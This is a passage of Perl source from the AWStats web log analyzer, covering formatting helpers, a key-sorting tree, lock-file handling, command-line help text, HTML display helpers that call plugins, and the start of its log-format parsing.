8099		return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]";
8100	}
8101	if ( $bytes >= ( $fudge << 20 ) ) {
8102		return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]";
8103	}
8104	if ( $bytes >= ( $fudge << 10 ) ) {
8105		return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]";
8106	}
8107	if ( $bytes < 0 ) { $bytes = "?"; }
8108	return int($bytes) . ( int($bytes) ? " $Message[119]" : "" );
8109}
8110
8111#------------------------------------------------------------------------------
8112# Function:		Format a number with commas or any other separator
8113#				CL: courtesy of http://www.perlmonks.org/?node_id=2145
8114# Parameters:   number
8115# Input:        None
8116# Output:       None
8117# Return:       "999,999,999,999"
8118#------------------------------------------------------------------------------
8119sub Format_Number {
8120	my $number = shift || 0;
8121	$number =~ s/(\d)(\d\d\d)$/$1 $2/;
8122	$number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
8123	$number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
8124	my $separator = $Message[177];
8125	if ($separator eq '') { $separator=' '; }	# For backward compatibility
8126	$number =~ s/ /$separator/g;
8127	return $number;
8128}
8129
8130#------------------------------------------------------------------------------
8131# Function:		Return " alt=string title=string"
8132# Parameters:   string
8133# Input:        None
8134# Output:       None
8135# Return:       "alt=string title=string"
8136#------------------------------------------------------------------------------
8137sub AltTitle {
8138	my $string = shift || '';
8139	return " alt='$string' title='$string'";
8140
8141	#	return " alt=\"$string\" title=\"$string\"";
8142	#	return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
8143}
8144
8145#------------------------------------------------------------------------------
8146# Function:		Tell if an email is a local or external email
8147# Parameters:   email
8148# Input:        $SiteDomain(exact string) $HostAliases(quoted regex string)
8149# Output:       None
8150# Return:       -1, 0 or 1
8151#------------------------------------------------------------------------------
8152sub IsLocalEMail {
8153	my $email = shift || 'unknown';
8154	if ( $email !~ /\@(.*)$/ ) { return 0; }
8155	my $domain = $1;
8156	if ( $domain =~ /^$SiteDomain$/i ) { return 1; }
8157	foreach (@HostAliases) {
8158		if ( $domain =~ /$_/ ) { return 1; }
8159	}
8160	return -1;
8161}
8162
8163#------------------------------------------------------------------------------
8164# Function:		Format a date according to Message[78] (country date format)
8165# Parameters:   String date YYYYMMDDHHMMSS
8166#               Option 0=LastUpdate and LastTime date
8167#                      1=Arrays date except daymonthvalues
8168#                      2=daymonthvalues date (only year month and day)
8169# Input:        $Message[78]
8170# Output:       None
8171# Return:       Date with format defined by Message[78] and option
8172#------------------------------------------------------------------------------
8173sub Format_Date {
8174	my $date       = shift;
8175	my $option     = shift || 0;
8176	my $year       = substr( "$date", 0, 4 );
8177	my $month      = substr( "$date", 4, 2 );
8178	my $day        = substr( "$date", 6, 2 );
8179	my $hour       = substr( "$date", 8, 2 );
8180	my $min        = substr( "$date", 10, 2 );
8181	my $sec        = substr( "$date", 12, 2 );
8182	my $dateformat = $Message[78];
8183
8184	if ( $option == 2 ) {
8185		$dateformat =~ s/^[^ymd]+//g;
8186		$dateformat =~ s/[^ymd]+$//g;
8187	}
8188	$dateformat =~ s/yyyy/$year/g;
8189	$dateformat =~ s/yy/$year/g;
8190	$dateformat =~ s/mmm/$MonthNumLib{$month}/g;
8191	$dateformat =~ s/mm/$month/g;
8192	$dateformat =~ s/dd/$day/g;
8193	$dateformat =~ s/HH/$hour/g;
8194	$dateformat =~ s/MM/$min/g;
8195	$dateformat =~ s/SS/$sec/g;
8196	return "$dateformat";
8197}
8198
8199#------------------------------------------------------------------------------
8200# Function:     Return 1 if string contains only ascii chars
8201# Parameters:   string
8202# Input:        None
8203# Output:       None
8204# Return:       0 or 1
8205#------------------------------------------------------------------------------
8206sub IsAscii {
8207	my $string = shift;
8208	if ($Debug) { debug( "IsAscii($string)", 5 ); }
8209	if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) {
8210		if ($Debug) { debug( " Yes", 6 ); }
8211		return
8212		  1
8213		  ; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
8214	}
8215	if ($Debug) { debug( " No", 6 ); }
8216	return 0;
8217}
8218
8219#------------------------------------------------------------------------------
8220# Function:     Return the lower value between 2 but exclude value if 0
8221# Parameters:   Val1 and Val2
8222# Input:        None
8223# Output:       None
8224# Return:       min(Val1,Val2)
8225#------------------------------------------------------------------------------
8226sub MinimumButNoZero {
8227	my ( $val1, $val2 ) = @_;
8228	return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 );
8229}
8230
8231#------------------------------------------------------------------------------
8232# Function:     Add a val from sorting tree
8233# Parameters:   keytoadd keyval [firstadd]
8234# Input:        None
8235# Output:       None
8236# Return:       None
8237#------------------------------------------------------------------------------
8238sub AddInTree {
8239	my $keytoadd = shift;
8240	my $keyval   = shift;
8241	my $firstadd = shift || 0;
8242	if ( $firstadd == 1 ) {    # Val is the first one
8243		if ($Debug) { debug( "  firstadd", 4 ); }
8244		$val{$keyval} = $keytoadd;
8245		$lowerval = $keyval;
8246		if ($Debug) {
8247			debug(
8248				"  lowerval=$lowerval, nb elem val="
8249				  . ( scalar keys %val )
8250				  . ", nb elem egal="
8251				  . ( scalar keys %egal ) . ".",
8252				4
8253			);
8254		}
8255		return;
8256	}
8257	if ( $val{$keyval} ) {    # Val is already in tree
8258		if ($Debug) { debug( "  val is already in tree", 4 ); }
8259		$egal{$keytoadd} = $val{$keyval};
8260		$val{$keyval}    = $keytoadd;
8261		if ($Debug) {
8262			debug(
8263				"  lowerval=$lowerval, nb elem val="
8264				  . ( scalar keys %val )
8265				  . ", nb elem egal="
8266				  . ( scalar keys %egal ) . ".",
8267				4
8268			);
8269		}
8270		return;
8271	}
8272	if ( $keyval <= $lowerval )
8273	{    # Val is a new one lower (should happens only when tree is not full)
8274		if ($Debug) {
8275			debug(
8276"  keytoadd val=$keyval is lower or equal to lowerval=$lowerval",
8277				4
8278			);
8279		}
8280		$val{$keyval}     = $keytoadd;
8281		$nextval{$keyval} = $lowerval;
8282		$lowerval         = $keyval;
8283		if ($Debug) {
8284			debug(
8285				"  lowerval=$lowerval, nb elem val="
8286				  . ( scalar keys %val )
8287				  . ", nb elem egal="
8288				  . ( scalar keys %egal ) . ".",
8289				4
8290			);
8291		}
8292		return;
8293	}
8294
8295	# Val is a new one higher
8296	if ($Debug) {
8297		debug( "  keytoadd val=$keyval is higher than lowerval=$lowerval", 4 );
8298	}
8299	$val{$keyval} = $keytoadd;
8300	my $valcursor = $lowerval;    # valcursor is value just before keyval
8301	while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) {
8302		$valcursor = $nextval{$valcursor};
8303	}
8304	if ( $nextval{$valcursor} )
8305	{    # keyval is between valcursor and nextval{valcursor}
8306		$nextval{$keyval} = $nextval{$valcursor};
8307	}
8308	$nextval{$valcursor} = $keyval;
8309	if ($Debug) {
8310		debug(
8311			"  lowerval=$lowerval, nb elem val="
8312			  . ( scalar keys %val )
8313			  . ", nb elem egal="
8314			  . ( scalar keys %egal ) . ".",
8315			4
8316		);
8317	}
8318}
8319
8320#------------------------------------------------------------------------------
8321# Function:     Remove a val from sorting tree
8322# Parameters:   None
8323# Input:        $lowerval %val %egal
8324# Output:       None
8325# Return:       None
8326#------------------------------------------------------------------------------
8327sub Removelowerval {
8328	my $keytoremove = $val{$lowerval};    # This is lower key
8329	if ($Debug) {
8330		debug( "   remove for lowerval=$lowerval: key=$keytoremove", 4 );
8331	}
8332	if ( $egal{$keytoremove} ) {
8333		$val{$lowerval} = $egal{$keytoremove};
8334		delete $egal{$keytoremove};
8335	}
8336	else {
8337		delete $val{$lowerval};
8338		$lowerval = $nextval{$lowerval};    # Set new lowerval
8339	}
8340	if ($Debug) {
8341		debug(
8342			"   new lower value=$lowerval, val size="
8343			  . ( scalar keys %val )
8344			  . ", egal size="
8345			  . ( scalar keys %egal ),
8346			4
8347		);
8348	}
8349}
8350
8351#------------------------------------------------------------------------------
8352# Function:     Build @keylist array
8353# Parameters:   Size max for @keylist array,
8354#               Min value in hash for select,
8355#               Hash used for select,
8356#               Hash used for order
8357# Input:        None
8358# Output:       None
8359# Return:       @keylist response array
8360#------------------------------------------------------------------------------
8361sub BuildKeyList {
8362	my $ArraySize = shift || error(
8363"System error. Call to BuildKeyList function with incorrect value for first param",
8364		"", "", 1
8365	);
8366	my $MinValue = shift || error(
8367"System error. Call to BuildKeyList function with incorrect value for second param",
8368		"", "", 1
8369	);
8370	my $hashforselect = shift;
8371	my $hashfororder  = shift;
8372	if ($Debug) {
8373		debug(
8374			"  BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
8375			  . ( scalar keys %$hashforselect )
8376			  . ",$hashfororder with size="
8377			  . ( scalar keys %$hashfororder ) . ")",
8378			3
8379		);
8380	}
8381	delete $hashforselect->{0};
8382	delete $hashforselect->{ ''
8383	  }; # Those is to protect from infinite loop when hash array has an incorrect null key
8384	my $count = 0;
8385	$lowerval = 0;    # Global because used in AddInTree and Removelowerval
8386	%val      = ();
8387	%nextval  = ();
8388	%egal     = ();
8389
8390	foreach my $key ( keys %$hashforselect ) {
8391		if ( $count < $ArraySize ) {
8392			if ( $hashforselect->{$key} >= $MinValue ) {
8393				$count++;
8394				if ($Debug) {
8395					debug(
8396						"  Add in tree entry $count : $key (value="
8397						  . ( $hashfororder->{$key} || 0 )
8398						  . ", tree not full)",
8399						4
8400					);
8401				}
8402				AddInTree( $key, $hashfororder->{$key} || 0, $count );
8403			}
8404			next;
8405		}
8406		$count++;
8407		if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
8408		if ($Debug) {
8409			debug(
8410				"  Add in tree entry $count : $key (value="
8411				  . ( $hashfororder->{$key} || 0 )
8412				  . " > lowerval=$lowerval)",
8413				4
8414			);
8415		}
8416		AddInTree( $key, $hashfororder->{$key} || 0 );
8417		if ($Debug) { debug( "  Removelower in tree", 4 ); }
8418		Removelowerval();
8419	}
8420
8421	# Build key list and sort it
8422	if ($Debug) {
8423		debug(
8424			"  Build key list and sort it. lowerval=$lowerval, nb elem val="
8425			  . ( scalar keys %val )
8426			  . ", nb elem egal="
8427			  . ( scalar keys %egal ) . ".",
8428			3
8429		);
8430	}
8431	my %notsortedkeylist = ();
8432	foreach my $key ( values %val )  { $notsortedkeylist{$key} = 1; }
8433	foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
8434	@keylist = ();
8435	@keylist = (
8436		sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
8437		  keys %notsortedkeylist
8438	);
8439	if ($Debug) {
8440		debug( "  BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
8441	}
8442	return;
8443}
8444
8445#------------------------------------------------------------------------------
8446# Function:     Lock or unlock update
8447# Parameters:   status (1 to lock, 0 to unlock)
8448# Input:        $DirLock (if status=0) $PROG $FileSuffix
8449# Output:       $DirLock (if status=1)
8450# Return:       None
8451#------------------------------------------------------------------------------
8452sub Lock_Update {
8453	my $status = shift;
8454	my $lock   = "$PROG$FileSuffix.lock";
8455	if ($status) {
8456
8457		# We stop if there is at least one lock file wherever it is
8458		foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8459			my $newkey = $key;
8460			$newkey =~ s/[\\\/]$//;
8461			if ( -f "$newkey/$lock" ) {
8462				error(
8463"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.",
8464					"", "", 1
8465				);
8466			}
8467		}
8468
8469		# Set lock where we can
8470		foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8471			if ( !-d "$key" ) { next; }
8472			$DirLock = $key;
8473			$DirLock =~ s/[\\\/]$//;
8474			if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
8475			open( LOCK, ">$DirLock/$lock" )
8476			  || error( "Failed to create lock file $DirLock/$lock", "", "",
8477				1 );
8478			print LOCK
8479"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
8480			close(LOCK);
8481			last;
8482		}
8483	}
8484	else {
8485
8486		# Remove lock
8487		if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
8488		unlink("$DirLock/$lock");
8489	}
8490	return;
8491}
8492
8493#------------------------------------------------------------------------------
8494# Function:     Signal handler to call Lock_Update to remove lock file
8495# Parameters:   Signal name
8496# Input:        None
8497# Output:       None
8498# Return:       None
8499#------------------------------------------------------------------------------
8500sub SigHandler {
8501	my $signame = shift;
8502	print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n";
8503	&Lock_Update(0);
8504	exit 1;
8505}
8506
8507#------------------------------------------------------------------------------
8508# Function:     Convert an IPAddress into an integer
8509# Parameters:   IPAddress
8510# Input:        None
8511# Output:       None
8512# Return:       Int
8513#------------------------------------------------------------------------------
8514sub Convert_IP_To_Decimal {
8515	my ($IPAddress) = @_;
8516	my @ip_seg_arr = split( /\./, $IPAddress );
8517	my $decimal_ip_address =
8518	  256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 *
8519	  $ip_seg_arr[2] + $ip_seg_arr[3];
8520	return ($decimal_ip_address);
8521}
8522
8523#------------------------------------------------------------------------------
8524# Function:     Test there is at least one value in list not null
8525# Parameters:   List of values
8526# Input:        None
8527# Output:       None
8528# Return:       1 There is at least one not null value, 0 else
8529#------------------------------------------------------------------------------
8530sub AtLeastOneNotNull {
8531	if ($Debug) {
8532		debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 );
8533	}
8534	foreach my $val (@_) {
8535		if ($val) { return 1; }
8536	}
8537	return 0;
8538}
8539
8540#------------------------------------------------------------------------------
8541# Function:     Prints the command line interface help information
8542# Parameters:   None
8543# Input:        None
8544# Output:       None
8545# Return:       None
8546#------------------------------------------------------------------------------
8547sub PrintCLIHelp{
8548	&Read_Ref_Data(
8549		'browsers',       'domains', 'operating_systems', 'robots',
8550		'search_engines', 'worms'
8551	);
8552	print "----- $PROG $VERSION (c) 2000-2018 Laurent Destailleur -----\n";
8553	print
8554"AWStats is a free web server logfile analyzer to show you advanced web\n";
8555	print "statistics.\n";
8556	print
8557"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
8558	print "with a GNU General Public License (See LICENSE file for details).\n";
8559	print "\n";
8560	print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
8561	print "\n";
8562	print
8563"  This runs $PROG in command line to update statistics (-update option) of a\n";
8564	print
8565"   web site, from the log file defined in AWStats config file, or build a HTML\n";
8566	print "   report (-output option).\n";
8567	print
8568"  First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
8569	print "  If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n";
8570	print
8571"  Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
8572	print
8573"   in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
8574	print "   awstats.pl script file.\n";
8575	print
8576"  Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
8577	print
8578"   use it as the \"config\" value, whatever is the value on command line or URL.\n";
8579	print "   See AWStats documentation for all setup instrutions.\n";
8580	print "\n";
8581	print "Options to update statistics:\n";
8582	print "  -update        to update statistics (default)\n";
8583	print
8584"  -showsteps     to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
8585	print
8586"  -showcorrupted to add output for each corrupted lines found, with reason\n";
8587	print
8588"  -showdropped   to add output for each dropped lines found, with reason\n";
8589	print "  -showunknownorigin  to output referer when it can't be parsed\n";
8590	print
8591"  -showdirectorigin   to output log line when origin is a direct access\n";
8592	print "  -updatefor=n   to stop the update process after parsing n lines\n";
8593	print
8594"  -LogFile=x     to change log to analyze whatever is 'LogFile' in config file\n";
8595	print
8596"  Be care to process log files in chronological order when updating statistics.\n";
8597	print "\n";
8598	print "Options to show statistics:\n";
8599	print
8600"  -output      to output main HTML report (no update made except with -update)\n";
8601	print "  -output=x    to output other report pages where x is:\n";
8602	print
8603"               alldomains       to build page of all domains/countries\n";
8604	print "               allhosts         to build page of all hosts\n";
8605	print
8606	  "               lasthosts        to build page of last hits for hosts\n";
8607	print
8608	  "               unknownip        to build page of all unresolved IP\n";
8609	print
8610"               allemails        to build page of all email senders (maillog)\n";
8611	print
8612"               lastemails       to build page of last email senders (maillog)\n";
8613	print
8614"               allemailr        to build page of all email receivers (maillog)\n";
8615	print
8616"               lastemailr       to build page of last email receivers (maillog)\n";
8617	print "               alllogins        to build page of all logins used\n";
8618	print
8619	  "               lastlogins       to build page of last hits for logins\n";
8620	print
8621"               allrobots        to build page of all robots/spider visits\n";
8622	print
8623	  "               lastrobots       to build page of last hits for robots\n";
8624	print "               urldetail        to list most often viewed pages \n";
8625	print
8626"               urldetail:filter to list most often viewed pages matching filter\n";
8627	print "               urlentry         to list entry pages\n";
8628	print
8629	  "               urlentry:filter  to list entry pages matching filter\n";
8630	print "               urlexit          to list exit pages\n";
8631	print
8632	  "               urlexit:filter   to list exit pages matching filter\n";
8633	print
8634"               osdetail         to build page with os detailed versions\n";
8635	print
8636"               browserdetail    to build page with browsers detailed versions\n";
8637	print
8638"               unknownbrowser   to list 'User Agents' with unknown browser\n";
8639	print
8640	  "               unknownos        to list 'User Agents' with unknown OS\n";
8641	print
8642"               refererse        to build page of all refering search engines\n";
8643	print
8644	  "               refererpages     to build page of all refering pages\n";
8645
8646 #print "               referersites     to build page of all refering sites\n";
8647	print
8648"               keyphrases       to list all keyphrases used on search engines\n";
8649	print
8650"               keywords         to list all keywords used on search engines\n";
8651	print "               errors404        to list 'Referers' for 404 errors\n";
8652	print
8653"               allextraX        to build page of all values for ExtraSection X\n";
8654	print "  -staticlinks           to have static links in HTML report page\n";
8655	print "  -staticlinksext=xxx    to have static links with .xxx extension instead of .html\n";
8656	print
8657"  -lang=LL     to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
8658	print "  -month=MM    to output a HTML report for an old month MM\n";
8659	print "  -year=YYYY   to output a HTML report for an old year YYYY\n";
8660	print
8661"  The 'date' options doesn't allow you to process old log file. They only\n";
8662	print
8663"  allow you to see a past report for a chosen month/year period instead of\n";
8664	print "  current month/year.\n";
8665	print "\n";
8666	print "Other options:\n";
8667	print
8668"  -debug=X     to add debug informations lesser than level X (speed reduced)\n";
8669	print
8670"  -version     show AWStats version\n";
8671	print "\n";
8672	print "Now supports/detects:\n";
8673	print
8674"  Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
8675	print "  Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
8676	print "  Number of visits, number of unique visitors\n";
8677	print "  Visits duration and list of last visits\n";
8678	print "  Authenticated users\n";
8679	print "  Days of week and rush hours\n";
8680	print "  Hosts list and unresolved IP addresses list\n";
8681	print "  Most viewed, entry and exit pages\n";
8682	print "  Files type and Web compression (mod_gzip, mod_deflate stats)\n";
8683	print "  Screen size\n";
8684	print "  Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
8685	print "                        Quicktime reader, WMA reader, PDF reader\n";
8686	print "  Configurable personalized reports\n";
8687	print "  " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n";
8688	print "  " . ( scalar keys %RobotsHashIDLib ) . " robots\n";
8689	print "  " . ( scalar keys %WormsHashLib ) . " worm's families\n";
8690	print "  " . ( scalar keys %OSHashLib ) . " operating systems\n";
8691	print "  " . ( scalar keys %BrowsersHashIDLib ) . " browsers";
8692	&Read_Ref_Data('browsers_phone');
8693	print " ("
8694	  . ( scalar keys %BrowsersHashIDLib )
8695	  . " with phone browsers database)\n";
8696	print "  "
8697	  . ( scalar keys %SearchEnginesHashLib )
8698	  . " search engines (and keyphrases/keywords used from them)\n";
8699	print "  All HTTP errors with last referrer\n";
8700	print "  Report by day/month/year\n";
8701	print "  Dynamic or static HTML or XHTML reports, static PDF reports\n";
8702	print "  Indexed text or XML monthly database\n";
8703	print "  And a lot of other advanced features and options...\n";
8704	print "New versions and FAQ at http://www.awstats.org\n";
8705}
8706
8707#------------------------------------------------------------------------------
8708# Function:     Return the string to add in html tag to include popup javascript code
8709# Parameters:   tooltip number
8710# Input:        None
8711# Output:       None
8712# Return:       string with javascript code
8713#------------------------------------------------------------------------------
8714sub Tooltip {
8715	my $ttnb = shift;
8716	return (
8717		$TOOLTIPON
8718		? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
8719		: ""
8720	);
8721}
8722
8723#------------------------------------------------------------------------------
8724# Function:     Insert a form filter
8725# Parameters:   Name of filter field, default for filter field, default for exclude filter field
8726# Input:        $StaticLinks, $QueryString, $SiteConfig, $DirConfig
8727# Output:       HTML Form
8728# Return:       None
8729#------------------------------------------------------------------------------
8730sub HTMLShowFormFilter {
8731	my $fieldfiltername    = shift;
8732	my $fieldfilterinvalue = shift;
8733	my $fieldfilterexvalue = shift;
8734	if ( !$StaticLinks ) {
8735		my $NewLinkParams = ${QueryString};
8736		$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
8737		$NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
8738		$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
8739		$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
8740		$NewLinkParams =~ s/^&amp;//;
8741		$NewLinkParams =~ s/&amp;$//;
8742		if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
8743		print "\n<form name=\"FormFilter\" action=\""
8744		  . XMLEncode("$AWScript${NewLinkParams}")
8745		  . "\" class=\"aws_border\">\n";
8746		print
8747"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
8748		print "<td align=\"left\" width=\"50\">$Message[79]&nbsp;:</td>\n";
8749		print
8750"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
8751		print "<td> &nbsp; </td>";
8752		print "<td align=\"left\" width=\"100\">$Message[153]&nbsp;:</td>\n";
8753		print
8754"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
8755		print "<td>";
8756		print "<input type=\"hidden\" name=\"output\" value=\""
8757		  . join( ',', keys %HTMLOutput )
8758		  . "\" />\n";
8759
8760		if ($SiteConfig) {
8761			print
8762"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
8763		}
8764		if ($DirConfig) {
8765			print
8766"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
8767		}
8768		if ( $QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i ) {
8769			print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
8770		}
8771		if (   $QueryString =~ /(^|&|&amp;)month=(\d\d)/i
8772			|| $QueryString =~ /(^|&|&amp;)month=(all)/i )
8773		{
8774			print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
8775		}
8776		if ( $QueryString =~ /(^|&|&amp;)lang=(\w+)/i ) {
8777			print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n";
8778		}
8779		if ( $QueryString =~ /(^|&|&amp;)debug=(\d+)/i ) {
8780			print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n";
8781		}
8782		if ( $QueryString =~ /(^|&|&amp;)framename=(\w+)/i ) {
8783			print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n";
8784		}
8785		print
8786"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
8787		print "<td> &nbsp; </td>";
8788		print "</tr></table>\n";
8789		print "</form>\n";
8790		print "<br />\n";
8791		print "\n";
8792	}
8793}
8794
8795#------------------------------------------------------------------------------
8796# Function:     Write other user info (with help of plugin)
8797# Parameters:   $user
8798# Input:        $SiteConfig
8799# Output:       URL link
8800# Return:       None
8801#------------------------------------------------------------------------------
8802sub HTMLShowUserInfo {
8803	my $user = shift;
8804
8805	# Call to plugins' function ShowInfoUser
8806	foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) {
8807
8808		#		my $function="ShowInfoUser_$pluginname('$user')";
8809		#		eval("$function");
8810		my $function = "ShowInfoUser_$pluginname";
8811		&$function($user);
8812	}
8813}
8814
8815#------------------------------------------------------------------------------
8816# Function:     Write other cluster info (with help of plugin)
8817# Parameters:   $clusternb
8818# Input:        $SiteConfig
8819# Output:       Cluster info
8820# Return:       None
8821#------------------------------------------------------------------------------
8822sub HTMLShowClusterInfo {
8823	my $cluster = shift;
8824
8825	# Call to plugins' function ShowInfoCluster
8826	foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } )
8827	{
8828
8829		#		my $function="ShowInfoCluster_$pluginname('$user')";
8830		#		eval("$function");
8831		my $function = "ShowInfoCluster_$pluginname";
8832		&$function($cluster);
8833	}
8834}
8835
8836#------------------------------------------------------------------------------
8837# Function:     Write other host info (with help of plugin)
8838# Parameters:   $host
8839# Input:        $LinksToWhoIs $LinksToWhoIsIp
8840# Output:       None
8841# Return:       None
8842#------------------------------------------------------------------------------
8843sub HTMLShowHostInfo {
8844	my $host = shift;
8845
8846	# Call to plugins' function ShowInfoHost
8847	foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) {
8848
8849		#		my $function="ShowInfoHost_$pluginname('$host')";
8850		#		eval("$function");
8851		my $function = "ShowInfoHost_$pluginname";
8852		&$function($host);
8853	}
8854}
8855
8856#------------------------------------------------------------------------------
8857# Function:     Write other url info (with help of plugin)
8858# Parameters:   $url
8859# Input:        %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
8860# Output:       URL link
8861# Return:       None
8862#------------------------------------------------------------------------------
8863sub HTMLShowURLInfo {
8864	my $url     = shift;
8865	my $nompage = CleanXSS($url);
8866
8867	# Call to plugins' function ShowInfoURL
8868	foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) {
8869
8870		#		my $function="ShowInfoURL_$pluginname('$url')";
8871		#		eval("$function");
8872		my $function = "ShowInfoURL_$pluginname";
8873		&$function($url);
8874	}
8875
8876	if ( length($nompage) > $MaxLengthOfShownURL ) {
8877		$nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
8878	}
8879	if ($ShowLinksOnUrl) {
8880		my $newkey = CleanXSS($url);
8881		if ( $LogType eq 'W' || $LogType eq 'S' ) {  # Web or streaming log file
8882			if ( $newkey =~ /^http(s|):/i )
8883			{    # URL seems to be extracted from a proxy log file
8884				print "<a href=\""
8885				  . XMLEncode("$newkey")
8886				  . "\" target=\"url\" rel=\"nofollow noopener noreferrer\">"
8887				  . XMLEncode($nompage) . "</a>";
8888			}
8889			elsif ( $newkey =~ /^\// )
8890			{ # URL seems to be an url extracted from a web or wap server log file
8891				$newkey =~ s/^\/$SiteDomain//i;
8892
8893				# Define urlprot
8894				my $urlprot = 'http';
8895				if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ )
8896				{
8897					$urlprot = 'https';
8898				}
8899				print "<a href=\""
8900				  . XMLEncode("$urlprot://$SiteDomain$newkey")
8901				  . "\" target=\"url\" rel=\"nofollow noopener noreferrer\">"
8902				  . XMLEncode($nompage) . "</a>";
8903			}
8904			else {
8905				print XMLEncode($nompage);
8906			}
8907		}
8908		elsif ( $LogType eq 'F' ) {    # Ftp log file
8909			print XMLEncode($nompage);
8910		}
8911		elsif ( $LogType eq 'M' ) {    # Smtp log file
8912			print XMLEncode($nompage);
8913		}
8914		else {                         # Other type log file
8915			print XMLEncode($nompage);
8916		}
8917	}
8918	else {
8919		print XMLEncode($nompage);
8920	}
8921}
8922
8923#------------------------------------------------------------------------------
8924# Function:     Define value for PerlParsingFormat (used for regex log record parsing)
8925# Parameters:   $LogFormat
8926# Input:        -
8927# Output:       $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
8928# Return:       -
8929#------------------------------------------------------------------------------
8930sub DefinePerlParsingFormat {
8931	my $LogFormat = shift;
8932	$pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method =
8933	  $pos_url = $pos_code = $pos_size = -1;
8934	$pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout =
8935	  $pos_compratio   = -1;
8936	$pos_cluster       = $pos_emails = $pos_emailr = $pos_hostr = -1;
8937	@pos_extra         = ();
8938	@fieldlib          = ();
8939	$PerlParsingFormat = '';
8940
8941# Log records examples:
8942# Apache combined:             62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
8943# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
8944# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
8945# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-"
8946# IIS:                         2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
